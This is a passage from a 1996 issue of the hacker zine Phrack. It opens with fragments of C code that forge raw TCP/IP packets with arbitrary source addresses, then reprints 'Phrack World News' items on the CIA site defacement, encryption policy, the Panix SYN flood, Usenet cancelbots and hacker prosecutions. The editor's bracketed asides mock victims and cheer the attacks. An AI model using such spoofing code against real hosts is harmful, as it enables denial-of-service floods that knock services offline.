/* The TCP pseudo‑header was created. */

tcp‑>th_sport = htons(s_port);

tcp‑>th_dport = htons(t_port);

tcp‑>th_off = 5; /* 20 bytes, (no options) */

tcp‑>th_flags = tcpflags;

tcp‑>th_seq = htonl(seq);

tcp‑>th_ack = htonl(ack);

tcp‑>th_win = htons(win); /* we don't need any bigger, I guess. */

/* The necessary TCP header fields are set. */

tcp‑>th_sum = in_cksum(pseudo,PSEUDOHDRSIZE+TCPHDRSIZE+datasize);

memset(packet,0,IPHDRSIZE);

/* The pseudo‑header is wiped to clear the IP header fields */

ip‑>saddr = s_addr;

ip‑>daddr = t_addr;

ip‑>version = 4;

ip‑>ihl = 5;

ip‑>ttl = 255;

ip‑>id = random()%1996;

ip‑>protocol = IPPROTO_TCP; /* should be 6 */

ip‑>tot_len = htons(IPHDRSIZE + TCPHDRSIZE + datasize); ip‑>check = in_cksum((char *)packet,IPHDRSIZE);

/* The IP header is intact. The packet is ready. */

#ifdef TCP_PKT_DEBUG

printf("Packet ready. Dump: \n");

#ifdef TCP_PKT_DEBUG_DATA HEXDUMP(IPHDRSIZE+TCPHDRSIZE+datasize,packet);

#else

HEXDUMP(IPHDRSIZE+TCPHDRSIZE,packet);

#endif

printf("\n");

#endif

return sendto(socket, packet, IPHDRSIZE+TCPHDRSIZE+datasize, 0, (struct sockaddr *)address, sizeof(struct sockaddr));

/* And off into the raw socket it goes. */

}

/*

* resolve.c

*

* resolves an internet text address into (struct sockaddr_in).

*

* CHANGES: 1. added the RESOLVE_QUIET preprocessor conditions. Jan 1996 * 2. added resolve_rns() to always provide both name/ip. March 1996 */

#include <sys/types.h>

#include <string.h>

#include <netdb.h>

#include <stdio.h>

#include <netinet/in.h>

int resolve( const char *name, struct sockaddr_in *addr, int port ) {

struct hostent *host;

/* clear everything in case I forget something */

bzero(addr,sizeof(struct sockaddr_in));

if (( host = gethostbyname(name) ) == NULL ) {

#ifndef RESOLVE_QUIET

fprintf(stderr,"unable to resolve host \"%s\" ‑‑ ",name); perror("");

#endif

return ‑1;

}

addr‑>sin_family = host‑>h_addrtype;

memcpy((caddr_t)&addr‑>sin_addr,host‑>h_addr,host‑>h_length); addr‑>sin_port = htons(port);

return 0;

}

int resolve_rns( char *name , unsigned long addr )

{

struct hostent *host;

unsigned long address;

address = addr;

host = gethostbyaddr((char *)&address,4,AF_INET);

if (!host) {

#ifndef RESOLVE_QUIET

fprintf(stderr,"unable to resolve host \"%s\" ‑‑ ",inet_ntoa(addr)); perror("");

#endif

return ‑1;

}

strcpy(name,host‑>h_name);

return 0;

}

unsigned long addr_to_ulong(struct sockaddr_in *addr)

{

return addr‑>sin_addr.s_addr;

}

Phrack World News

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

16 of 16

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue 49 PWN

PWN PWN

PWN Compiled by DisordeR PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Phrack World News #49 ‑‑ Index

01. CIA attacked, pulls plug on Internet site

02. Letter From Senator Patrick Leahy (D‑VT) on Encryption 03. Java Black Widows ‑ Sun Declares War

04. Jacking in from the "Smoked Filled Room" Port 05. Panix Attack

06. Massive Usenet Cancels

07. Mitnick Faces 25 More Federal Counts of Computer Hacking 08. Hacker is freed but he's banned from computers

09. Computer Hacker Severely Beaten after Criticizing Prison Conditions Target of Campaign by U.S. Secret Service

10. Bernie S. Released!

11. <The Squidge Busted>

12. School Hires Student to Hack Into Computers

13. Paranoia and Brit Hackers Fuel Infowar Craze in Spy Agencies 14. Hackers Find Cheap Scotland Yard Phone Connection

15. U.S. Official Warns OF "Electronic Pearl Harbor"

16. Suit Challenges State's Restraint of the Internet Via AP 17. U.S. Government Plans Computer Emergency Response Team 18. Hackers $50K challenge to break Net security system 19. Criminal cult begins PGP crack attempt

20. Hackers Bombard Internet

21. Crypto Mission Creep

22. Hacker posts nudes on court's Web pages

23. Hacking Into Piracy

24. Revealing Intel's Secrets

25. Internet Boom Puts Home PCs At Risk Of Hackers

26. Computer hacker Mitnick pleads innocent

27. Hackers Destroy Evidence of Gulf War Chemical/Biological Weapons 28. Criminals Slip Through The Net

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: CIA attacked, pulls plug on Internet site

author: unknown

source: Reuter

WASHINGTON (Reuter) ‑ The Central Intelligence Agency, that bastion of spy technology and computer wizardry, pulled the plug on its World Wide Web site on the Internet Thursday after a hacker broke in and replaced it with a crude parody.

CIA officials said their vandalized homepage ‑‑ altered to read "Welcome to the Central Stupidity Agency" ‑‑ was in no way linked to any mainframe computers containing classified national security information.

[* Excuse me for a minute while my erection goes down. *]

The site was tampered with Wednesday evening and the CIA closed it Thursday morning while a task force looked into the security breach, CIA spokeswoman Jane Heishman said. Part of the hacker's text read "Stop Lying."

"It's definitely a hacker" who pierced the system's security, she said. "The agency has formed a task force to look into what happend and how to prevent it."

[* No shit?! It was a hacker that did that? *]

The CIA web site (http://www.odci.gov/cia) showcases unclassified

information including spy agency press releases, officials' speeches, historical rundowns and the CIA's World Fact Book, a standard reference work.

The cyber‑attack matched one that forced the Justice Department to close its Web site last month after hackers inserted a swastika and picture of Adolph Hitler. The penetration of the CIA homepage highlighted the vulnerability of Internet sites designed to attract the public and drove home the need for multiple layers of security.

"You want people to visit, you want them to interact, but you don't want them to leave anything behind," said Jon Englund of the Information Technology Association of America, a trade group of leading software and telecommunications firms.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Senator_Leahy@LEAHY.SENATE.GOV

Date: Thu, 02 May 96 12:04:07 EST

‑‑‑‑‑BEGIN PGP SIGNED MESSAGE‑‑‑‑‑

LETTER FROM SENATOR PATRICK LEAHY (D‑VT) ON ENCRYPTION

May 2, 1996

Dear Friends:

Today, a bipartisan group of Senators has joined me in supporting legislation to encourage the development and use of strong, privacy‑enhancing technologies for the Internet by rolling back the out‑dated restrictions on the export of strong cryptography.

In an effort to demonstrate one of the more practical uses of encryption technology (and so that you all know this message actually came from me), I have signed this message using a digital signature generated by the popular encryption program PGP. I am proud to be the first member of Congress to utilize encryption and digital signatures to post a message to the Internet.

[* The first?! We're doomed!! *]

As a fellow Internet user, I care deeply about protecting individual privacy and encouraging the development of the Net as a secure and trusted communications medium. I do not need to tell you that current export restrictions only allow American companies to export primarily weak encryption technology. The current strength of encryption the U.S. government will allow out of the country is so weak that, according to a January 1996 study conducted by world‑renowned cryptographers, a pedestrian hacker can crack the codes in a matter of hours! A foreign intelligence agency can crack the current 40‑bit codes in seconds.

[* That should read "As a fellow Internet user ..who doesn't read his own mail... *]

Perhaps more importantly, the increasing use of the Internet and similar interactive communications technologies by Americans to obtain critical medical services, to conduct business, to be entertained and communicate with their friends, raises special concerns about the privacy and confidentiality of those communications. I have long been concerned about these issues, and have worked over the past decade to protect privacy and security for our wire and electronic communications. Encryption technology provides an effective way to ensure that only the people we choose can read our communications.

I have read horror stories sent to me over the Internet about how human rights groups in the Balkans have had their computers confiscated during raids by security police seeking to find out the identities of people who have complained about abuses. Thanks to PGP, the encrypted files were undecipherable by the police and the names of the people who entrusted their lives to the human rights groups were safe.

The new bill, called the "Promotion of Commerce On‑Line in the Digital Era (PRO‑CODE) Act of 1996," would:

o bar any government‑mandated use of any particular encryption system, including key escrow systems and affirm the right of American citizens to use whatever form of encryption they choose domestically;

[* Thank you for permission to do that.. even though it is legal already *]

o loosen export restrictions on encryption products so that American companies are able to export any generally available or mass market encryption products without obtaining government approval; and

[* Loosen? Why not abolish? *]

o limit the authority of the federal government to set standards for encryption products used by businesses and individuals, particularly standards which result in products with limited key lengths and key escrow.

This is the second encryption bill I have introduced with Senator Burns and other congressional colleagues this year. Both bills call for an overhaul of this country's export restrictions on encryption, and, if enacted, would quickly result in the widespread availability of strong, privacy protecting technologies. Both bills also prohibit a government‑mandated key escrow encryption system. While PRO‑CODE would limit the authority of the Commerce Department to set encryption standards for use by private individuals and businesses, the first bill we introduced, called the "Encrypted Communications Privacy Act", S.1587, would set up stringent procedures for law enforcement to follow to obtain decoding keys or decryption assistance to read the plaintext of encrypted communications obtained under court order or other lawful process.

It is clear that the current policy towards encryption exports is hopelessly outdated, and fails to account for the real needs of individuals and businesses in the global marketplace. Encryption expert Matt Blaze, in a recent letter to me, noted that current U.S. regulations governing the use and export of encryption are having a "deleterious effect ... on our country's ability to develop a reliable and trustworthy information infrastructure." The time is right for Congress to take steps to put our national encryption policy on the right course.

I am looking forward to hearing from you on this important issue. Throughout the course of the recent debate on the Communications Decency Act, the input from Internet users was very valuable to me and some of my Senate colleagues.

You can find out more about the issue at my World Wide Web home page (http://www.leahy.senate.gov/) and at the Encryption Policy

Resource Page (http://www.crypto.com/). Over the coming months, I

look forward to the help of the Net community in convincing other Members of Congress and the Administration of the need to reform our nation's cryptography policy.

Sincerely,

Patrick Leahy

United States Senator

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: JAVA BLACK WIDOWS ‑ SUN DECLARES WAR

author: unknown

from: staff@hpp.com

Sun Microsystems' has declared war on Black Widow Java

applets on the Web. This is the message from Sun in response

to an extensive Online Business Consultant (OBC/May 96) investigation into Java security.

OBC's investigation and report was prompted after renowned academics, scientists and hackers announced Java applets downloaded from the WWW presented grave security risks for users. Java Black Widow applets are hostile, malicious traps set by cyberthugs out to snare surfing prey, using Java as their technology. OBC received a deluge of letters asking for facts after OBC announced a group of scientists from Princeton University, Drew Dean, Edward Felten and Dan Wallach, published a paper declaring "The Java system in its current form cannot easily be made secure." The paper can be retrieved at http://www.cs.princeton.edu/sip/pub/secure96.html.

Further probing by OBC found that innocent surfers on the Web who download Java applets into Netscape's Navigator and Sun's HotJava browser, risk having "hostile" applets interfere with their computers (consuming RAM and CPU cycles). It was also discovered applets could connect to a third party on the Internet and, without the PC owner's knowledge, upload sensitive information from the user's computer. Even the most sophisticated firewalls can be penetrated . . . "because the attack is launched from behind the firewall," said the Princeton scientists.

One reader said, "I had no idea that it was possible to stumble on Web sites that could launch an attack on a browser." Another said, "If this is allowed to get out of hand it will drive people away from the Web. Sun must allay fears."

[* Faster connections if people are driven from the web.. hmm... :) *]

The response to the Home Page Press hostile applet survey led to the analogy of Black Widow; that the Web was a dangerous place where "black widows" lurked to snare innocent surfers. As a result the Princeton group and OBC recommended users should "switch off" Java support in their Netscape Navigator browsers. OBC felt that Sun and Netscape had still to come clean on the security issues. But according to Netscape's Product Manager, Platform, Steve Thomas, "Netscape wishes to make it clear that all known security problems with the Navigator Java and JavaScript environment are fixed in Navigator version 2.02."

However, to date, Netscape has not answered OBC's direct questions regarding a patch for its earlier versions of Navigator that supported Java . . . the equivalent of a product recall in the 3D world. Netscape admits that flaws in its browsers from version 2.00 upwards were related to the Java security problems, but these browsers are still in use and can be bought from stores such as CompUSA and Cosco. A floor manager at CompUSA, who asked not to be named, said "its news to him that we are selling defective software. The Navigator walks off our floor at $34 a pop."

OBC advised Netscape the defective software was still selling at software outlets around the world and asked Netscape what action was going to be taken in this regard. Netscape has come under fire recently for its policy of not releasing patches to software defects; but rather forcing users to download new versions. Users report this task to be a huge waste of time and resources because each download consists of several Mbytes. As such defective Navigators don't get patched.

OBC also interviewed Sun's JavaSoft security guru, Ms. Marianne Mueller, who said "we are taking security very seriously and working on it very hard." Mueller said the tenet that Java had to be re‑written from scratch or scrapped "is an oversimplification of the challenge of running executable content safely on the web. Security is hard and subtle, and trying to build a secure "sandbox" [paradigm] for running untrusted downloaded applets on the web is hard."

Ms. Mueller says Sun, together with their JavaSoft (Sun's Java division) partners, have proposed a "sandbox model" for security in which "we define a set of policies that restrict what applets can and cannot do‑‑‑these are the boundaries of the sandbox. We implement boundary checks‑‑‑when an applet tries to cross the boundary, we check whether or not it's allowed to. If it's allowed to, then the applet is allowed on its way. If not, the system throws a security exception.

"The 'deciding whether or not to allow the boundary to be crossed' is the research area that I believe the Princeton people are working on," said Mueller. "One way to allow applets additional flexibility is if the applet is signed (for example, has a digital signature so that the identity of the applet's distributor can be verified via a Certificate Authority) then allow the applet more flexibility.

"There are two approaches: One approach is to let the signed applet do anything. A second approach is to do something more complex and more subtle, and only allow the applet particular specified capabilities. Expressing and granting capabilities can be done in a variety of ways.

"Denial of service is traditionally considered one of the hardest security problems, from a practical point of view. As [Java's creator] James Gosling says, it's hard to tell the difference between an MPEG decompressor and a hostile applet that consumes too many resources! But recognizing the difficulty of the problem is not the same as 'passing the buck.' We are working on ways to better monitor and control the use (or abuse) of resources by Java classes. We could try to enforce some resource limits, for example. These are things we are investigating.

"In addition, we could put mechanisms in place so that user interface people (like people who do Web browsers) could add 'applet monitors' so that browser users could at least see what is running in their browser, and kill off stray applets. This kind of user interface friendliness (letting a user kill of an applet) is only useful if the applet hasn't already grabbed all the resources, of course."

The experts don't believe that the problem of black widows and hostile applets is going to go away in a hurry. In fact it may get worse. The hackers believe that when Microsoft releases Internet Explorer 3.00 with support for Java, Visual Basic scripting and the added power of its ActiveX technology, the security problem will become worse.

"There is opportunity for abuse, and it will become an enormous problem," said Stephen Cobb, Director of Special Projects for the National Computer Security Association (NCSA). "For example, OLE technology from Microsoft [ActiveX] has even deeper access to a computer than Java does."

JavaSoft's security guru Mueller agreed on the abuse issue: "It's going to be a process of education for people to understand the difference between a rude applet, and a serious security bug, and a theoretical security bug, and an inconsequential security‑related bug. In the case of hostile applets, people will learn about nasty/rude applet pages, and those pages won't be visited. I understand that new users of the Web often feel they don't know where they're going when they point and click, but people do get a good feel for how it works, pretty quickly, and I actually think most users of the Web can deal with the knowledge that not every page on the web is necessarily one they'd want to visit. Security on the web in some sense isn't all that different from security in ordinary life. At some level, common sense does come into play.

"Many people feel that Java is a good tool for building more secure applications. I like to say that Java raises the bar for security on the Internet. We're trying to do something that is not necessarily easy, but that doesn't mean it isn't worth trying to do. In fact it may be worth trying to do because it isn't easy. People are interested in seeing the software industry evolve towards more robust software‑‑‑that's the feedback I get from folks on the Net."

# # #

The report above may be reprinted with credit provided as follows:

Home Page Press, Inc., http://www.hpp.com and Online Business ConsultantOE

Please refer to the HPP Web site for additional information about Java and OBC.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Jacking in from the "Smoked Filled Room" Port

author: "Brock N. Meeks" <brock@well.com>

source: CyberWire Dispatch // September // Copyright (c) 1996 //

Washington, DC ‑‑ Federal provisions funding the digital telephony bill and roving wiretaps, surgically removed earlier this year from an anti‑terrorism bill, have quietly been wedged into a $600 billion omnibus spending bill.

The bill creates a Justice Department "telecommunications carrier compliance fund" to pay for the provisions called for in the digital telephony bill, formally known as the Communications Assistance in Law Enforcement Act (CALEA). In reality, this is a slush fund.

Congress originally budgeted $500 million for CALEA, far short of the billions actually needed to build in instant wiretap capabilities into America's telephone, cable, cellular and PCS networks. This bill now approves a slush fund of pooled dollars from the budgets of "any agency" with "law enforcement, national security or intelligence responsibilities." That means the FBI, CIA, NSA and DEA, among others, will now have a vested interest in how the majority of your communications are tapped.

The spending bill also provides for "multipoint wiretaps." This is the tricked up code phase for what amounts to roving wiretaps. Where the FBI can only tap one phone at a time in conjunction with an investigation, it now wants the ability to "follow" a conversation from phone to phone; meaning that if your neighbor is under investigation and happens to use your phone for some reason, your phone gets tapped. It also means that the FBI can tap public pay phones... think about that next time you call 1‑800‑COLLECT.

In addition, all the public and congressional accountability provisions for how CALEA money was spent, which were in the original House version (H.R. 3814), got torpedoed in the Senate Appropriations Committee.

Provisions stripped out by the Senate:

‑‑ GONE: Money isn't to be spent unless an implementation plan is sent to each member of the Judiciary Committee and Appropriations committees.

‑‑ GONE: Requirement that the FBI provide public details of how its new wiretap plan exceeds or differs from current capabilities.

‑‑ GONE: Report on the "actual and maximum number of simultaneous surveillance/intercepts" the FBI expects. The FBI ran into a fire storm earlier this year when it botched its long overdue report that said it wanted the capability to tap one out of every 100 phones *simultaneously*. Now, thanks to this funding bill, rather than having to defend that request, it doesn't have to say shit.

‑‑ GONE: Complete estimate of the full costs of deploying and developing the digital wiretapping plan.

‑‑ GONE: An annual report to Congress "specifically detailing" how all taxpayer money ‑‑ YOUR money ‑‑ is spent to carry out these new wiretap provisions.

"No matter what side you come down on this (digital wiretapping) issue, the stakes for democracy are that we need to have public accountability," said Jerry Berman, executive director of the Center for Democracy and Technology.

Although it appeared that no one in congress had the balls to take on the issue, one stalwart has stepped forward, Rep. Bob Barr (R‑Ga.). He has succeeded in getting some of the accountability provisions back into the bill, according to a Barr staffer. But the fight couldn't have been an easy one. The FBI has worked congress relentlessly in an effort to skirt the original reporting and implementation requirements as outlined in CALEA. Further, Barr isn't exactly on the FBI's Christmas card list. Last year it was primarily Barr who scotched the funding for CALEA during the 104th Congress' first session.

But Barr has won again. He has, with backing from the Senate, succeeded in *putting back* the requirement that the FBI must justify all CALEA expenditures to the Judiciary Committee. Further, the implementation plan, "though somewhat modified" will "still have some punch," Barr's staffer assured me. That includes making the FBI report on its expected capacities and capabilities for digital wiretapping. In other words, the FBI won't be able to "cook the books" on the wiretap figures in secret. Barr also was successful in making the Justice Department submit an annual report detailing its CALEA spending to Congress.

However, the funding for digital wiretaps remains. Stuffing the funding measures into a huge omnibus spending bill almost certainly assures its passage. Congress is twitchy now, anxious to leave. They are chomping at the bit, sensing the end of the 104th Congress' tortured run as the legislative calender is due to run out sometime early next week. Then they will all literally race from Capitol Hill at the final gavel, heading for the parking lot, jumping in their cars like stock car drivers as they make a made dash for National Airport to return to their home districts in an effort to campaign for another term in the loopy world of national politics.

Congress is "going to try to sneak this (spending bill) through the back door in the middle of the night," says Leslie Hagan, legislative director for the National Association of Criminal Defense Lawyers. She calls this a "worst case scenario" that is "particularly dangerous" because the "deliberative legislative process is short‑ciricutied."

Such matters as wiretapping deserve to be aired in the full sunlight of congressional hearings, not stuffed into an 11th hour spending bill. This is legislative cowardice. Sadly, it will most likely succeed.

And through this all, the Net sits mute.

Unlike a few months ago, on the shameful day the Net cried "wolf" over these same provisions, mindlessly flooding congressional switchboards and any Email box within keyboard reach, despite the fact that the funding provisions had been already been stripped from the anti‑terrorism bill, there has been no hue‑and‑cry about these most recent moves.

Yes, some groups, such as the ACLU, EPIC and the Center for Democracy and Technology have been working the congressional back channels, buzzing around the frenzied legislators like crazed gnats.

But why haven't we heard about all this before now? Why has this bill come down to the wire without the now expected flurry of "alerts" "bulletins" and other assorted red‑flag waving by our esteemed Net guardians? Barr's had his ass hanging in the wind, fighting FBI Director Louis "Teflon" Freeh; he could have used some political cover from the cyberspace community. Yet, if he'd gone to that digital well, he'd have found only the echo of his own voice.

And while the efforts of Rep. Barr are encouraging, it's anything from a done deal. "As long as the door is cracked... there is room for mischief," said Barr's staffer. Meaning, until the bill is reported and voted on, some snapperhead congressman could fuck up the process yet again.

We all caught a bit of a reprieve here, but I wouldn't sleep well. This community still has a lot to learn about the Washington boneyard. Personally, I'm a little tired of getting beat up at every turn. Muscle up, folks, the fight doesn't get any easier.

Meeks out...

Declan McCullagh <declan@well.com> contributed to this report.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Panix Attack

author: Joshua Quittner

source: Time Magazine ‑ September 30, 1996 Volume 148, No. 16

It was Friday night, and Alexis Rosen was about to leave work when one of his computers sent him a piece of E‑mail. If this had been the movies, the message would have been presaged by something dramatic‑‑the woo‑ga sound of a submarine diving into combat, say. But of course it wasn't. This was a line of dry text automatically generated by one of the machines that guard his network. It said simply, "The mail servers are down." The alert told Rosen that his 6,000 clients were now unable to receive E‑mail.

Rosen, 30, is a cool customer, not the type to go into cardiac arrest when his mail server crashes. He is the co‑founder of Panix, the oldest and best‑known Internet service provider in Manhattan. Years before the Net became a cereal‑box buzz word, Rosen would let people connect to Panix free, or for only a few dollars a month, just because‑‑well, because that was the culture of the time. Rosen has handled plenty of mail outages, so on this occasion he simply rolled up his sleeves and set to work, fingers clacking out a flamenco on the keyboard, looking for the cause of the glitch. What he uncovered sent a chill down his spine‑‑and has rippled across the Net ever since, like a rumor of doom. Someone, or something, was sending at the rate of 210 a second the one kind of message his computer was obliged to answer. As long as the siege continued‑‑and it went on for weeks‑‑Rosen had to work day and night to keep from being overwhelmed by a cascade of incoming garbage.

It was the dread "syn flood," a relatively simple but utterly effective means for shutting down an Internet service provider‑‑or, for that matter, anyone else on the Net. After Panix went public with its story two weeks ago, dozens of online services and companies acknowledged being hit by similar "denial of service" attacks. As of late last week, seven companies were still under furious assault.

None of the victims have anything in common, leading investigators to suspect that the attacks may stem from the same source: a pair of how‑to articles that appeared two months ago in 2600 and Phrack, two journals that cater to neophyte hackers. Phrack's article was written by a 23‑year‑old editor known as daemon9. He also crafted the code for an easy‑to‑run, menu‑driven, syn‑flood program, suitable for use by any "kewl dewd" with access to the Internet. "Someone had to do it," wrote daemon9.

[* WooWoo! Go Route! *]

That gets to the core of what may be the Net's biggest problem these days: too many powerful software tools in the hands of people who aren't smart enough to build their own‑‑or to use them wisely. Real hackers may be clever and prankish, but their first rule is to do no serious harm. Whoever is clobbering independent operators like Panix has as much to do with hacking as celebrity stalkers have to do with cinematography. Another of the victims was the Voters Telecommunications Watch, a nonprofit group that promotes free speech online. "Going after them was like going after the little old lady who helps people in the neighborhood and bashing her with a lead pipe," says Rosen.

[* Gee. Is that to say that if you can't write your own operating system that you shouldn't have it or that it is a big problem? If so, poor Microsoft... *]

Rosen was eventually able to repulse the attack; now he'd like to confront his attacker. Since some of these Netwits don't seem to know enough to wipe off their digital fingerprints, he may get his wish.

[* Wow, they did it for two weeks without getting caught. Two weeks of 24/7 abuse toward this ISP, and now he thinks he can track them down? *]

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: none

author: Rory J. O'Connor

source: Knight‑Ridder Newspapers

WASHINGTON ‑‑ Vandals swept through the Internet last weekend, wiping clean dozens of public bulletin boards used by groups of Jews, Muslims, feminists and homosexuals, among others.

In one of the most widespread attacks on the international computer network, the programs automatically erased copies of more than 27,000 messages from thousands of servers, before operators stopped the damage.

The identity of those responsible for launching the apparent hate attacks ‑‑ some of the programs were titled "fagcancel" and "kikecancel" ‑‑ is unknown.

The incident further illustrates the shaky security foundation of the Internet, which has mushroomed from academic research tool to international communications medium in just three years.

And it raised the ire of many Internet users furious at the ease with which a user can erase someone else's words from worldwide discussion groups, known as Usenet newsgroups, in a matter of hours.

"There's nothing you can do as an individual user to prevent someone from canceling your message," said John Gilmore, a computer security expert in San Francisco. "We need something added to Usenet's software that would only allow a cancellation from the originator."

[* Which can then be forged just like fakemail... *]

The incident follows closely three other well‑publicized Internet attacks.

In two cases, hackers altered the World Wide Web home pages of the Justice Department and the CIA, apparently as political protests. In the third, a hacker overloaded the computers of an Internet service provider called Panix with hordes of phony requests for a connection, thus denying use of the service to legitimate users.

The latest attacks ‑‑ called cancelbots ‑‑ were launched sometime over the weekend from a variety of Internet service providers, including UUNet Technologies in Fairfax, Va., and Netcom Inc. in San Jose, Calif. One attack was launched from a tiny provider in Tulsa, Okla., called Cottage Software, according to its owner, William Brunton.

"The offending user has been terminated and the information has been turned over to the proper (federal) authorities," Brunton said in a telephone interview Wednesday. "It's now in their hands."

Legal experts said it's unclear if the attacks constitute a crime under federal laws such as the Computer Fraud and Abuse Act.

"It's really a difficult issue," said David Sobel, legal counsel of the Electronic Privacy Information Center in Washington. "Can you assign value to a newsgroup posting? Because most of the computer crime statutes assume you're ripping off something of value."

[* Hello? Several statutes don't assume that at all. You can be charged with HAVING information and not using it. *]

A spokesman for the FBI in Washington said he was unaware of any federal investigation of the incident, although it is the agency's policy not to comment on investigations.

While some of the deleted messages have been restored on certain servers, where operators have retrieved them from backup copies of their disks, users of other servers where the messages haven't been restored will never be able to read them.

The fact that a user can stamp out the words of someone else is an artifact of the original design of the Internet, begun as a Department of Defense project in 1969.

The Internet consists of tens of thousands of computers, called servers, that act as repositories for public messages, private electronic mail and World Wide Web home pages. Servers throughout the world are interconnected through telephone lines so they can exchange information and route messages to the individual users, or clients, of a given server.

Each server stores a copy of the constantly changing contents of newsgroups, which function as giant electronic bulletin boards dedicated to particular subjects. There are thousands of them, covering everything from particle physics to soap operas.

Any Internet user is free to post a contribution to nearly any newsgroup, and the posting is rapidly copied from one server to another, so the contents of a newsgroup are identical on every server.

Almost the only form of control over postings, including their content, is voluntary adherence to informal behavior rules known as "netiquette."

The idea of cancelbots originated when the Internet and its newsgroups were almost exclusively the domain of university and government scientists and researchers. Their purpose was to allow individuals to rescind messages they later discovered to contain an error. The action took the form of an automatic program, itself in the form of a message, because it would be impossible for an individual to find and delete every copy of the posting on every Internet server.

But the Usenet software running on servers doesn't verify that the cancel message actually comes from the person who created the original posting. All a malicious user need do is replace their actual e‑mail address with that of someone else to fool Usenet into deleting a message. That counterfeiting is as simple as changing an option in the browser software most people use to connect to the Internet.

"It's pretty easy. There's no authentication in the Usenet. So anybody can pretend to be anybody else," Gilmore said.

It takes only slightly more sophistication to create a program that searches newsgroups for certain keywords, and then issues a cancelbot for any message that contains them. That is how the weekend attack took place.

The use of counterfeit cancelbots is not new. The Church of Scientology, embroiled in a legal dispute with former members, last year launched cancelbots against the newsgroup postings of the members. Attorneys for the church claimed the postings violated copyright laws, because they contained the text of Scientology teachings normally available only to longtime members who have paid thousands of dollars.

Net users have also turned false cancelbots against those who violate a basic rule of netiquette by "spamming" newsgroups ‑‑ that is, posting a message to hundreds or even thousands of newsgroups, usually commercial in nature and unrelated to the newsgroup topic.

"This technology has been used for both good and evil," Gilmore said.

But an individual launching a wholesale cancelbot attack on postings because of content is considered a serious violation of netiquette ‑although one about which there is little recourse at the moment.

"For everybody who takes the trouble and time to participate on the Internet in some way, I think it is not acceptable for somebody else to undo those efforts," Sobel said. "But what are the alternatives? Not to pursue this means of communications? Unintended uses and malicious uses seem to be inevitable."

What's needed, some say, is a fundamental change in the Internet that forces individual users to "sign" their postings in such a way that everyone has a unique identity that can't be forged.

[* And how about for the technically challenged who can't figure out the point‑and‑drool America Online software? *]

"The fatal flaw is that newsgroups were set up at a time when everybody knew everybody using the system, and you could weed out anybody who did this," Brunton said. "This points out that flaw in the system, and that there are unreasonable people out there who will exploit it."

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Mitnick Faces 25 More Federal Counts of Computer Hacking source: nando.net ‑ Los Angeles Daily News

LOS ANGELES (Sep 27, 1996 02:06 a.m. EDT) ‑‑ A computer hacker who used his digital prowess to outrun FBI agents for three years has been indicted on charges that he stole millions of dollars in software through the Internet.

The 25‑count federal indictment against Kevin Mitnick is the biggest development in the sensational case since the self‑taught computer whiz was arrested in February 1995 in North Carolina.

The 33‑year‑old son of a waitress from suburban Los Angeles has been held in custody in Los Angeles ever since.

With Thursday's indictment, federal prosecutors made good on their vow to hold Mitnick accountable for what they say was a string of hacking crimes that pushed him to the top of the FBI's most‑wanted list.

"These are incredibly substantial charges. They involve conducts spanning two and a half years. They involve a systematic scheme to steal proprietary software from a range of victims," Assistant U.S. Attorney David Schindler said in an interview.

Mitnick's longtime friend, Lewis De Payne, 36, also was indicted Thursday on charges that he helped steal the software between June 1992 and February 1995 ‑‑ while Mitnick was on the run from the FBI.

"I would say it is an absurd fiction," said De Payne's attorney, Richard Sherman. "I don't think the government is going to be able to prove its case."

De Payne will surrender today to authorities in Los Angeles, Sherman said.

Friends and relatives of Mitnick have defended his hacking, saying he did it for the intellectual challenge and to pull pranks ‑‑ but never for profit.

Los Angeles' top federal prosecutor sees it differently.

"Computer and Internet crime represents a major threat, with sophisticated criminals able to wreak havoc around the world," U.S. Attorney Nora M. Manella said in a written statement.

The indictment charges Mitnick and De Payne with having impersonated officials from companies and using "hacking" programs to enter company computers. Schindler said the software involved the operation of cellular telephones and computer operating systems.

Their alleged victims include the University of Southern California, Novell, Sun Microsystems and Motorola, Schindler said.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hacker is freed but he's banned from computers

author: Brandon Bailey (Mercury News Staff Writer)

Convicted hacker Kevin Poulsen is out of prison after five years, but he still can't touch a computer.

Facing a court order to pay more than $57,000 in restitution for rigging a series of radio station call‑in contests, Poulsen has complained that authorities won't let him use his only marketable skill ‑‑ programming.

Instead, Poulsen said, he's doomed to work for minimum wage at a low‑tech job for the next three years. Since his June release from prison ‑‑ after serving more time behind bars than any other U.S. hacker ‑‑ the only work he's found is canvassing door to door for a liberal political action group.

It's a big change for the 30‑year‑old Poulsen, once among the most notorious hackers on the West Coast. A former employee at SRI International in Menlo Park, he was featured on television's "America's Most Wanted" while living underground in Los Angeles as a federal fugitive from 1989 to 1991.

Before authorities caught him, Poulsen burglarized telephone company offices, electronically snooped through records of law enforcement wiretaps and jammed radio station phone lines in a scheme to win cash, sports cars and a trip to Hawaii.

Poulsen now lives with his sister in the Los Angeles area, where he grew up in the 1970s and '80s. But he must remain under official supervision for three more years. And it galls him that authorities won't trust him with a keyboard or a mouse.

U.S. District Judge Manuel Real has forbidden Poulsen to have any access to a computer without his probation officer's approval.

